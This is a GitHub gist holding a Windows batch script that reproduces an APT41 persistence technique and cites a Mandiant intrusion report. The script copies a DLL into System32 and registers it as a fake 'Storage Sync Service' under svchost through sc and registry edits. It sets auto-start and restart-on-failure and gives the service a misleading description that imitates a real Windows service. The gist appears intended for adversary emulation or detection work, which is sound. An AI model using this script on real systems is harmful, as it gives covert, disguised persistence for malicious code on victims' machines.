Created
April 26, 2022 13:49
-
-
Save 2XXE-SRA/36cd5c4a1db53a1b5f3ac47be1c74c97 to your computer and use it in GitHub Desktop.
APT41 service creation via registry (source: https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
set "WORK_DIR=C:\Windows\System32" | |
set "DLL_NAME=storesyncsvc.dll" | |
set "SERVICE_NAME=StorSyncSvc" | |
set "DISPLAY_NAME=Storage Sync Service" | |
set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly." | |
sc stop %SERVICE_NAME% | |
sc delete %SERVICE_NAME% | |
mkdir %WORK_DIR% | |
copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y | |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f | |
sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%" | |
SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000 | |
sc description "%SERVICE_NAME%" "%DESCRIPTION%" | |
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f | |
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f | |
net start "%SERVICE_NAME%" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment